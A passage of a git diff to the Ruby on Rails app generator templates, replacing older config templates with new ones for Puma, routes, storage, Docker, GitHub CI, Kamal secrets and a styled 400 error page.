+#       enabled: "ON"
 
 en:
   hello: "Hello world"
diff --git a/railties/lib/rails/generators/rails/app/templates/config/puma.rb b/railties/lib/rails/generators/rails/app/templates/config/puma.rb
deleted file mode 100644
index 1e19380dcb36b..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/puma.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-# Puma can serve each request in a thread from an internal thread pool.
-# The `threads` method setting takes two numbers: a minimum and maximum.
-# Any libraries that use thread pools should be configured to match
-# the maximum value specified for Puma. Default is set to 5 threads for minimum
-# and maximum; this matches the default thread size of Active Record.
-#
-threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 }
-threads threads_count, threads_count
-
-# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
-#
-port        ENV.fetch("PORT") { 3000 }
-
-# Specifies the `environment` that Puma will run in.
-#
-environment ENV.fetch("RAILS_ENV") { "development" }
-
-# Specifies the number of `workers` to boot in clustered mode.
-# Workers are forked webserver processes. If using threads and workers together
-# the concurrency of the application would be max `threads` * `workers`.
-# Workers do not work on JRuby or Windows (both of which do not support
-# processes).
-#
-# workers ENV.fetch("WEB_CONCURRENCY") { 2 }
-
-# Use the `preload_app!` method when specifying a `workers` number.
-# This directive tells Puma to first boot the application and load code
-# before forking the application. This takes advantage of Copy On Write
-# process behavior so workers use less memory. If you use this option
-# you need to make sure to reconnect any threads in the `on_worker_boot`
-# block.
-#
-# preload_app!
-
-# If you are preloading your application and using Active Record, it's
-# recommended that you close any connections to the database before workers
-# are forked to prevent connection leakage.
-#
-# before_fork do
-#   ActiveRecord::Base.connection_pool.disconnect! if defined?(ActiveRecord)
-# end
-
-# The code in the `on_worker_boot` will be called if you are using
-# clustered mode by specifying a number of `workers`. After each worker
-# process is booted, this block will be run. If you are using the `preload_app!`
-# option, you will want to use this block to reconnect to any threads
-# or connections that may have been created at application boot, as Ruby
-# cannot share connections between processes.
-#
-# on_worker_boot do
-#   ActiveRecord::Base.establish_connection if defined?(ActiveRecord)
-# end
-#
-
-# Allow puma to be restarted by `rails restart` command.
-plugin :tmp_restart
diff --git a/railties/lib/rails/generators/rails/app/templates/config/puma.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/puma.rb.tt
new file mode 100644
index 0000000000000..07cf5ea2279c8
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/puma.rb.tt
@@ -0,0 +1,43 @@
+# This configuration file will be evaluated by Puma. The top-level methods that
+# are invoked here are part of Puma's configuration DSL. For more information
+# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.
+#
+# Puma starts a configurable number of processes (workers) and each process
+# serves each request in a thread from an internal thread pool.
+#
+# You can control the number of workers using ENV["WEB_CONCURRENCY"]. You
+# should only set this value when you want to run 2 or more workers. The
+# default is already 1. You can set it to `auto` to automatically start a worker
+# for each available processor.
+#
+# The ideal number of threads per worker depends both on how much time the
+# application spends waiting for IO operations and on how much you wish to
+# prioritize throughput over latency.
+#
+# As a rule of thumb, increasing the number of threads will increase how much
+# traffic a given process can handle (throughput), but due to CRuby's
+# Global VM Lock (GVL) it has diminishing returns and will degrade the
+# response time (latency) of the application.
+#
+# The default is set to 3 threads as it's deemed a decent compromise between
+# throughput and latency for the average Rails application.
+#
+# Any libraries that use a connection pool or another resource pool should
+# be configured to provide at least as many connections as the number of
+# threads. This includes Active Record's `pool` parameter in `database.yml`.
+threads ENV.fetch("RAILS_MAX_THREADS", 3)
+
+# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
+port ENV.fetch("PORT", 3000)
+
+# Allow puma to be restarted by `bin/rails restart` command.
+plugin :tmp_restart
+
+<% unless skip_solid? -%>
+# Run the Solid Queue supervisor inside of Puma for single-server deployments.
+plugin :solid_queue if ENV["SOLID_QUEUE_IN_PUMA"]
+
+<% end -%>
+# Specify the PID file. Defaults to tmp/pids/server.pid in development.
+# In other environments, only set the PID file if requested.
+pidfile ENV["PIDFILE"] if ENV["PIDFILE"]
diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb b/railties/lib/rails/generators/rails/app/templates/config/routes.rb
deleted file mode 100644
index 787824f888b3b..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/routes.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-Rails.application.routes.draw do
-  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
-end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/routes.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/routes.rb.tt
new file mode 100644
index 0000000000000..7d13c32c3528e
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/routes.rb.tt
@@ -0,0 +1,16 @@
+Rails.application.routes.draw do
+  # Define your application routes per the DSL in https://guides.rubyonrails.org/routing.html
+
+  # Reveal health status on /up that returns 200 if the app boots with no exceptions, otherwise 500.
+  # Can be used by load balancers and uptime monitors to verify that the app is live.
+  get "up" => "rails/health#show", as: :rails_health_check
+
+  <%- unless options.api? -%>
+  # Render dynamic PWA files from app/views/pwa/* (remember to link manifest in application.html.erb)
+  # get "manifest" => "rails/pwa#manifest", as: :pwa_manifest
+  # get "service-worker" => "rails/pwa#service_worker", as: :pwa_service_worker
+
+  <%- end -%>
+  # Defines the root path route ("/")
+  # root "posts#index"
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/secrets.yml b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
deleted file mode 100644
index 8e995a5df146c..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
+++ /dev/null
@@ -1,30 +0,0 @@
-# Be sure to restart your server when you modify this file.
-
-# Your secret key is used for verifying the integrity of signed cookies.
-# If you change this key, all old signed cookies will become invalid!
-
-# Make sure the secret is at least 30 characters and all random,
-# no regular words or you'll be exposed to dictionary attacks.
-# You can use `rails secret` to generate a secure secret key.
-
-# Make sure the secrets in this file are kept private
-# if you're sharing your code publicly.
-
-# Shared secrets are available across all environments.
-
-shared:
-  api_key: 123
-
-# Environmental secrets are only available for that specific environment.
-
-development:
-  secret_key_base: <%= app_secret %>
-
-test:
-  secret_key_base: <%= app_secret %>
-
-# Do not keep production secrets in the repository,
-# instead read values from the environment.
-
-production:
-  secret_key_base: <%%= ENV["SECRET_KEY_BASE"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/spring.rb b/railties/lib/rails/generators/rails/app/templates/config/spring.rb
deleted file mode 100644
index c9119b40c08ef..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/config/spring.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-%w(
-  .ruby-version
-  .rbenv-vars
-  tmp/restart.txt
-  tmp/caching-dev.txt
-).each { |path| Spring.watch(path) }
diff --git a/railties/lib/rails/generators/rails/app/templates/config/storage.yml.tt b/railties/lib/rails/generators/rails/app/templates/config/storage.yml.tt
new file mode 100644
index 0000000000000..8369c83e8d3d0
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/storage.yml.tt
@@ -0,0 +1,27 @@
+test:
+  service: Disk
+  root: <%%= Rails.root.join("tmp/storage") %>
+
+local:
+  service: Disk
+  root: <%%= Rails.root.join("storage") %>
+
+# Use bin/rails credentials:edit to set the AWS secrets (as aws:access_key_id|secret_access_key)
+# amazon:
+#   service: S3
+#   access_key_id: <%%= Rails.application.credentials.dig(:aws, :access_key_id) %>
+#   secret_access_key: <%%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
+#   region: us-east-1
+#   bucket: your_own_bucket-<%%= Rails.env %>
+
+# Remember not to checkin your GCS keyfile to a repository
+# google:
+#   service: GCS
+#   project: your_project
+#   credentials: <%%= Rails.root.join("path/to/gcs.keyfile") %>
+#   bucket: your_own_bucket-<%%= Rails.env %>
+
+# mirror:
+#   service: Mirror
+#   primary: local
+#   mirrors: [ amazon, google, microsoft ]
diff --git a/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt b/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
index 1beea2accd7ed..4fbd6ed970cb4 100644
--- a/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/db/seeds.rb.tt
@@ -1,7 +1,9 @@
-# This file should contain all the record creation needed to seed the database with its default values.
-# The data can then be loaded with the rails db:seed command (or created alongside the database with db:setup).
+# This file should ensure the existence of records required to run the application in every environment (production,
+# development, test). The code here should be idempotent so that it can be executed at any point in every environment.
+# The data can then be loaded with the bin/rails db:seed command (or created alongside the database with db:setup).
 #
-# Examples:
+# Example:
 #
-#   movies = Movie.create([{ name: 'Star Wars' }, { name: 'Lord of the Rings' }])
-#   Character.create(name: 'Luke', movie: movies.first)
+#   ["Action", "Comedy", "Drama", "Horror"].each do |genre_name|
+#     MovieGenre.find_or_create_by!(name: genre_name)
+#   end
diff --git a/railties/lib/rails/generators/rails/app/templates/docker-entrypoint.tt b/railties/lib/rails/generators/rails/app/templates/docker-entrypoint.tt
new file mode 100644
index 0000000000000..7594fe9cd3e4a
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/docker-entrypoint.tt
@@ -0,0 +1,10 @@
+#!/bin/bash -e
+
+<% unless skip_active_record? -%>
+# If running the rails server then create or migrate existing database
+if [ "${@: -2:1}" == "./bin/rails" ] && [ "${@: -1:1}" == "server" ]; then
+  ./bin/rails db:prepare
+fi
+
+<% end -%>
+exec "${@}"
diff --git a/railties/lib/rails/generators/rails/app/templates/dockerignore.tt b/railties/lib/rails/generators/rails/app/templates/dockerignore.tt
new file mode 100644
index 0000000000000..828712548eead
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/dockerignore.tt
@@ -0,0 +1,61 @@
+# See https://docs.docker.com/engine/reference/builder/#dockerignore-file for more about ignoring files.
+
+# Ignore git directory.
+/.git/
+/.gitignore
+
+# Ignore bundler config.
+/.bundle
+
+# Ignore all environment files.
+/.env*
+
+# Ignore all default key files.
+/config/master.key
+/config/credentials/*.key
+
+# Ignore all logfiles and tempfiles.
+/log/*
+/tmp/*
+<% if keeps? -%>
+!/log/.keep
+!/tmp/.keep
+
+# Ignore pidfiles, but keep the directory.
+/tmp/pids/*
+!/tmp/pids/.keep
+<% end -%>
+
+# Ignore storage (uploaded files in development and any SQLite databases).
+/storage/*
+<% if keeps? -%>
+!/storage/.keep
+/tmp/storage/*
+!/tmp/storage/.keep
+<% end -%>
+<% unless options.api? -%>
+
+# Ignore assets.
+/node_modules/
+/app/assets/builds/*
+!/app/assets/builds/.keep
+/public/assets
+<% end -%>
+<% unless options.skip_ci? -%>
+
+# Ignore CI service files.
+/.github
+<% end -%>
+
+<% unless options.skip_kamal? -%>
+# Ignore Kamal files.
+/config/deploy*.yml
+/.kamal
+
+<% end -%>
+# Ignore development files
+/.devcontainer
+
+# Ignore Docker-related files
+/.dockerignore
+/Dockerfile*
diff --git a/railties/lib/rails/generators/rails/app/templates/gitattributes.tt b/railties/lib/rails/generators/rails/app/templates/gitattributes.tt
new file mode 100644
index 0000000000000..9c12fe8ff5d2c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/gitattributes.tt
@@ -0,0 +1,9 @@
+# See https://git-scm.com/docs/gitattributes for more about git attribute files.
+
+<% unless options[:skip_active_record] -%>
+# Mark the database schema as having been generated.
+db/schema.rb linguist-generated
+<% end -%>
+
+# Mark any vendored files as having been vendored.
+vendor/* linguist-vendored
diff --git a/railties/lib/rails/generators/rails/app/templates/github/ci.yml.tt b/railties/lib/rails/generators/rails/app/templates/github/ci.yml.tt
new file mode 100644
index 0000000000000..fa5c2e88c04c6
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/github/ci.yml.tt
@@ -0,0 +1,232 @@
+name: CI
+
+on:
+  pull_request:
+  push:
+    branches: [ <%= user_default_branch %> ]
+
+jobs:
+<%- unless skip_brakeman? && skip_bundler_audit? -%>
+  scan_ruby:
+    runs-on: ubuntu-latest
+
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v6
+
+      - name: Set up Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          bundler-cache: true
+      <%- unless skip_brakeman? -%>
+
+      - name: Scan for common Rails security vulnerabilities using static analysis
+        run: bin/brakeman --no-pager
+      <% end -%>
+      <%- unless skip_bundler_audit? -%>
+
+      - name: Scan for known security vulnerabilities in gems used
+        run: bin/bundler-audit
+      <% end -%>
+
+<% end -%>
+<%- if using_importmap? -%>
+  scan_js:
+    runs-on: ubuntu-latest
+
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v6
+
+      - name: Set up Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          bundler-cache: true
+
+      - name: Scan for security vulnerabilities in JavaScript dependencies
+        run: bin/importmap audit
+
+<% end -%>
+<%- unless skip_rubocop? -%>
+  lint:
+    runs-on: ubuntu-latest
+    env:
+      RUBOCOP_CACHE_ROOT: tmp/rubocop
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v6
+
+      - name: Set up Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          bundler-cache: true
+
+      - name: Prepare RuboCop cache
+        uses: actions/cache@v4
+        env:
+          DEPENDENCIES_HASH: ${{ hashFiles('.ruby-version', '**/.rubocop.yml', '**/.rubocop_todo.yml', 'Gemfile.lock') }}
+        with:
+          path: ${{ env.RUBOCOP_CACHE_ROOT }}
+          key: rubocop-${{ runner.os }}-${{ env.DEPENDENCIES_HASH }}-${{ github.ref_name == github.event.repository.default_branch && github.run_id || 'default' }}
+          restore-keys: |
+            rubocop-${{ runner.os }}-${{ env.DEPENDENCIES_HASH }}-
+
+      - name: Lint code for consistent style
+        run: bin/rubocop -f github
+
+<% end -%>
+<% unless options[:skip_test] -%>
+  test:
+    runs-on: ubuntu-latest
+
+    <%- if options[:database] == "sqlite3" -%>
+    # services:
+    #  redis:
+    #    image: valkey/valkey:8
+    #    ports:
+    #      - 6379:6379
+    #    options: --health-cmd "redis-cli ping" --health-interval 10s --health-timeout 5s --health-retries 5
+    <%- else -%>
+    services:
+      <%- if options[:database] == "mysql" || options[:database] == "trilogy" -%>
+      mysql:
+        image: mysql
+        env:
+          MYSQL_ALLOW_EMPTY_PASSWORD: true
+        ports:
+          - 3306:3306
+        options: --health-cmd="mysqladmin ping" --health-interval=10s --health-timeout=5s --health-retries=3
+      <%- elsif options[:database] == "postgresql" -%>
+      postgres:
+        image: postgres
+        env:
+          POSTGRES_USER: postgres
+          POSTGRES_PASSWORD: postgres
+        ports:
+          - 5432:5432
+        options: --health-cmd="pg_isready" --health-interval=10s --health-timeout=5s --health-retries=3
+      <%- end -%>
+
+      # redis:
+      #   image: valkey/valkey:8
+      #   ports:
+      #     - 6379:6379
+      #   options: --health-cmd "redis-cli ping" --health-interval 10s --health-timeout 5s --health-retries 5
+
+    <%- end -%>
+    steps:
+      <%- unless ci_packages.empty? -%>
+      - name: Install packages
+        run: sudo apt-get update && sudo apt-get install --no-install-recommends -y <%= ci_packages.join(" ") %>
+
+      <%- end -%>
+      - name: Checkout code
+        uses: actions/checkout@v6
+
+      - name: Set up Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          bundler-cache: true
+      <%- if using_bun? -%>
+
+      - uses: oven-sh/setup-bun@v2
+        with:
+          bun-version: <%= dockerfile_bun_version %>
+      <%- end -%>
+
+      - name: Run tests
+        env:
+          RAILS_ENV: test
+          <%- if options[:database] == "mysql" -%>
+          DATABASE_URL: mysql2://127.0.0.1:3306
+          <%- elsif options[:database] == "trilogy" -%>
+          DATABASE_URL: trilogy://127.0.0.1:3306
+          <%- elsif options[:database] == "postgresql" -%>
+          DATABASE_URL: postgres://postgres:postgres@localhost:5432
+          <%- end -%>
+          # RAILS_MASTER_KEY: ${{ secrets.RAILS_MASTER_KEY }}
+          # REDIS_URL: redis://localhost:6379/0
+        run: bin/rails <%= "db:test:prepare " unless skip_active_record? %>test
+  <%- unless options[:api] || options[:skip_system_test] -%>
+
+  system-test:
+    runs-on: ubuntu-latest
+
+    <%- if options[:database] == "sqlite3" -%>
+    # services:
+    #  redis:
+    #    image: valkey/valkey:8
+    #    ports:
+    #      - 6379:6379
+    #    options: --health-cmd "redis-cli ping" --health-interval 10s --health-timeout 5s --health-retries 5
+    <%- else -%>
+    services:
+      <%- if options[:database] == "mysql" || options[:database] == "trilogy" -%>
+      mysql:
+        image: mysql
+        env:
+          MYSQL_ALLOW_EMPTY_PASSWORD: true
+        ports:
+          - 3306:3306
+        options: --health-cmd="mysqladmin ping" --health-interval=10s --health-timeout=5s --health-retries=3
+      <%- elsif options[:database] == "postgresql" -%>
+      postgres:
+        image: postgres
+        env:
+          POSTGRES_USER: postgres
+          POSTGRES_PASSWORD: postgres
+        ports:
+          - 5432:5432
+        options: --health-cmd="pg_isready" --health-interval=10s --health-timeout=5s --health-retries=3
+      <%- end -%>
+
+      # redis:
+      #   image: valkey/valkey:8
+      #   ports:
+      #     - 6379:6379
+      #   options: --health-cmd "redis-cli ping" --health-interval 10s --health-timeout 5s --health-retries 5
+
+    <%- end -%>
+    steps:
+      <%- unless ci_packages.empty? -%>
+      - name: Install packages
+        run: sudo apt-get update && sudo apt-get install --no-install-recommends -y <%= ci_packages.join(" ") %>
+
+      <%- end -%>
+      - name: Checkout code
+        uses: actions/checkout@v6
+
+      - name: Set up Ruby
+        uses: ruby/setup-ruby@v1
+        with:
+          bundler-cache: true
+      <%- if using_bun? -%>
+
+      - uses: oven-sh/setup-bun@v2
+        with:
+          bun-version: <%= dockerfile_bun_version %>
+      <%- end -%>
+
+      - name: Run System Tests
+        env:
+          RAILS_ENV: test
+          <%- if options[:database] == "mysql" -%>
+          DATABASE_URL: mysql2://127.0.0.1:3306
+          <%- elsif options[:database] == "trilogy" -%>
+          DATABASE_URL: trilogy://127.0.0.1:3306
+          <%- elsif options[:database] == "postgresql" -%>
+          DATABASE_URL: postgres://postgres:postgres@localhost:5432
+          <%- end -%>
+          # RAILS_MASTER_KEY: ${{ secrets.RAILS_MASTER_KEY }}
+          # REDIS_URL: redis://localhost:6379/0
+        run: bin/rails <%= "db:test:prepare " unless skip_active_record? %>test:system
+
+      - name: Keep screenshots from failed system tests
+        uses: actions/upload-artifact@v5
+        if: failure()
+        with:
+          name: screenshots
+          path: ${{ github.workspace }}/tmp/screenshots
+          if-no-files-found: ignore
+  <%- end -%>
+<%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/github/dependabot.yml b/railties/lib/rails/generators/rails/app/templates/github/dependabot.yml
new file mode 100644
index 0000000000000..83610cfa4ceb8
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/github/dependabot.yml
@@ -0,0 +1,12 @@
+version: 2
+updates:
+- package-ecosystem: bundler
+  directory: "/"
+  schedule:
+    interval: weekly
+  open-pull-requests-limit: 10
+- package-ecosystem: github-actions
+  directory: "/"
+  schedule:
+    interval: weekly
+  open-pull-requests-limit: 10
diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore
deleted file mode 100644
index 1768b700d97d1..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/gitignore
+++ /dev/null
@@ -1,29 +0,0 @@
-# See https://help.github.com/articles/ignoring-files for more about ignoring files.
-#
-# If you find yourself ignoring temporary files generated by your text editor
-# or operating system, you probably want to add a global ignore instead:
-#   git config --global core.excludesfile '~/.gitignore_global'
-
-# Ignore bundler config.
-/.bundle
-
-<% if sqlite3? -%>
-# Ignore the default SQLite database.
-/db/*.sqlite3
-/db/*.sqlite3-journal
-
-<% end -%>
-# Ignore all logfiles and tempfiles.
-/log/*
-/tmp/*
-<% if keeps? -%>
-!/log/.keep
-!/tmp/.keep
-<% end -%>
-
-<% unless options[:skip_yarn] -%>
-/vendor/node_modules
-/vendor/yarn-error.log
-
-<% end -%>
-.byebug_history
diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore.tt b/railties/lib/rails/generators/rails/app/templates/gitignore.tt
new file mode 100644
index 0000000000000..a071c05a2c1c4
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/gitignore.tt
@@ -0,0 +1,37 @@
+# See https://help.github.com/articles/ignoring-files for more about ignoring files.
+#
+# Temporary files generated by your text editor or operating system
+# belong in git's global ignore instead:
+# `$XDG_CONFIG_HOME/git/ignore` or `~/.config/git/ignore`
+
+# Ignore bundler config.
+/.bundle
+
+# Ignore all environment files.
+/.env*
+
+# Ignore all logfiles and tempfiles.
+/log/*
+/tmp/*
+<% if keeps? -%>
+!/log/.keep
+!/tmp/.keep
+
+# Ignore pidfiles, but keep the directory.
+/tmp/pids/*
+!/tmp/pids/
+!/tmp/pids/.keep
+<% end -%>
+
+# Ignore storage (uploaded files in development and any SQLite databases).
+/storage/*
+<% if keeps? -%>
+!/storage/.keep
+/tmp/storage/*
+!/tmp/storage/
+!/tmp/storage/.keep
+<% end -%>
+<% unless options.api? -%>
+
+/public/assets
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/kamal-secrets.tt b/railties/lib/rails/generators/rails/app/templates/kamal-secrets.tt
new file mode 100644
index 0000000000000..b3089d6f5a942
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/kamal-secrets.tt
@@ -0,0 +1,20 @@
+# Secrets defined here are available for reference under registry/password, env/secret, builder/secrets,
+# and accessories/*/env/secret in config/deploy.yml. All secrets should be pulled from either
+# password manager, ENV, or a file. DO NOT ENTER RAW CREDENTIALS HERE! This file needs to be safe for git.
+
+# Example of extracting secrets from 1password (or another compatible pw manager)
+# SECRETS=$(kamal secrets fetch --adapter 1password --account your-account --from Vault/Item KAMAL_REGISTRY_PASSWORD RAILS_MASTER_KEY)
+# KAMAL_REGISTRY_PASSWORD=$(kamal secrets extract KAMAL_REGISTRY_PASSWORD ${SECRETS})
+# RAILS_MASTER_KEY=$(kamal secrets extract RAILS_MASTER_KEY ${SECRETS})
+
+# Example of extracting secrets from Rails credentials
+# KAMAL_REGISTRY_PASSWORD=$(rails credentials:fetch kamal.registry_password)
+
+# Use a GITHUB_TOKEN if private repositories are needed for the image
+# GITHUB_TOKEN=$(gh config get -h github.com oauth_token)
+
+# Grab the registry password from ENV
+# KAMAL_REGISTRY_PASSWORD=$KAMAL_REGISTRY_PASSWORD
+
+# Improve security by using a password manager. Never check config/master.key into git!
+RAILS_MASTER_KEY=$(cat config/master.key)
diff --git a/railties/lib/rails/generators/rails/app/templates/node-version.tt b/railties/lib/rails/generators/rails/app/templates/node-version.tt
new file mode 100644
index 0000000000000..e31b5f42316c3
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/node-version.tt
@@ -0,0 +1 @@
+<%= node_version %>
diff --git a/railties/lib/rails/generators/rails/app/templates/package.json b/railties/lib/rails/generators/rails/app/templates/package.json
deleted file mode 100644
index 46db57dcbe6a1..0000000000000
--- a/railties/lib/rails/generators/rails/app/templates/package.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "name": "<%= app_name %>",
-  "private": true,
-  "dependencies": {}
-}
diff --git a/railties/lib/rails/generators/rails/app/templates/public/400.html b/railties/lib/rails/generators/rails/app/templates/public/400.html
new file mode 100644
index 0000000000000..640de033979db
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/400.html
@@ -0,0 +1,135 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>The server cannot process the request due to a client error (400 Bad Request)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100dvh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      #error-description {
+        fill: #d30001;
+      }
+
+      #error-id {
+        fill: #f0eff0;
+      }
+
+      @media (prefers-color-scheme: dark) {
+        body {
+          background: #101010;
+          color: #e0e0e0;
+        }
+
+        #error-description {
+          fill: #FF6161;
+        }
+
+        #error-id {
+          fill: #2c2c2c;
+        }
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/400.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm115.583 168.69891c-40.822 0-64.884-35.146-64.884-85.7015 0-50.5554 24.062-85.700907 64.884-85.700907 40.823 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.061 85.7015-64.884 85.7015zm0-133.2831c-17.572 0-22.709 21.8984-22.709 47.5816 0 25.6835 5.137 47.5815 22.709 47.5815 17.303 0 22.71-21.898 22.71-47.5815 0-25.6832-5.407-47.5816-22.71-47.5816zm140.456 133.2831c-40.823 0-64.884-35.146-64.884-85.7015 0-50.5554 24.061-85.700907 64.884-85.700907 40.822 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.062 85.7015-64.884 85.7015zm0-133.2831c-17.573 0-22.71 21.8984-22.71 47.5816 0 25.6835 5.137 47.5815 22.71 47.5815 17.302 0 22.709-21.898 22.709-47.5815 0-25.6832-5.407-47.5816-22.709-47.5816z" id="error-id"/><path d="m123.606 85.4445c3.212 1.0523 5.538 4.2089 5.538 8.0301 0 6.1472-4.209 9.5254-11.298 9.5254h-15.617v-34.0033h14.565c7.089 0 11.353 3.1566 11.353 9.2484 0 3.6551-2.049 6.3134-4.541 7.1994zm-12.904-2.9905h5.095c2.603 0 3.988-.9968 3.988-3.1013 0-2.1044-1.385-3.0459-3.988-3.0459h-5.095zm0 6.6456v6.5902h5.981c2.492 0 3.877-1.3291 3.877-3.2674 0-2.049-1.385-3.3228-3.877-3.3228zm43.786 13.9004h-8.362v-1.274c-.831.831-3.323 1.717-5.981 1.717-4.929 0-9.083-2.769-9.083-8.0301 0-4.818 4.154-7.9193 9.581-7.9193 2.049 0 4.486.6646 5.483 1.3845v-1.606c0-1.606-.942-2.9905-3.046-2.9905-1.606 0-2.548.7199-2.935 1.8275h-8.197c.72-4.8181 4.985-8.6393 11.409-8.6393 7.088 0 11.131 3.7659 11.131 10.2453zm-8.362-6.9779v-1.4399c-.554-1.0522-2.049-1.7167-3.655-1.7167-1.717 0-3.434.7199-3.434 2.3813 0 1.7168 1.717 2.4367 3.434 2.4367 1.606 0 3.101-.6645 3.655-1.6614zm27.996 6.9779v-1.994c-1.163 1.329-3.599 2.548-6.147 2.548-7.199 0-11.131-5.8151-11.131-13.0145s3.932-13.0143 11.131-13.0143c2.548 0 4.984 1.2184 6.147 2.5475v-13.0697h8.695v35.997zm0-9.1931v-6.5902c-.664-1.3291-2.159-2.326-3.821-2.326-2.99 0-4.763 2.4368-4.763 5.6488s1.773 5.5934 4.763 5.5934c1.717 0 3.157-.9415 3.821-2.326zm35.471-2.049h-3.101v11.2421h-8.806v-34.0033h15.285c7.31 0 12.35 4.1535 12.35 11.5744 0 5.1503-2.603 8.6947-6.757 10.2453l7.975 12.1836h-9.858zm-3.101-15.2849v8.1962h5.538c3.156 0 4.596-1.606 4.596-4.0981s-1.44-4.0981-4.596-4.0981zm36.957 17.8323h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.515-13.0143 7.643 0 11.962 5.095 11.962 12.5159v2.1598h-16.115c.277 2.9905 1.827 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.822-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm30.98 27.5234v-10.799c-1.163 1.329-3.6 2.548-6.147 2.548-7.2 0-11.132-5.9259-11.132-13.0145 0-7.144 3.932-13.0143 11.132-13.0143 2.547 0 4.984 1.2184 6.147 2.5475v-1.9937h8.695v33.726zm0-17.9981v-6.5902c-.665-1.3291-2.105-2.326-3.821-2.326-2.991 0-4.763 2.4368-4.763 5.6488s1.772 5.5934 4.763 5.5934c1.661 0 3.156-.9415 3.821-2.326zm36.789-15.7279v24.921h-8.695v-2.16c-1.329 1.551-3.821 2.714-6.646 2.714-5.482 0-8.75-3.5999-8.75-9.1379v-16.3371h8.64v14.288c0 2.1045.996 3.5997 3.212 3.5997 1.606 0 3.101-1.0522 3.544-2.769v-15.1187zm19.084 16.2263h8.03c-.886 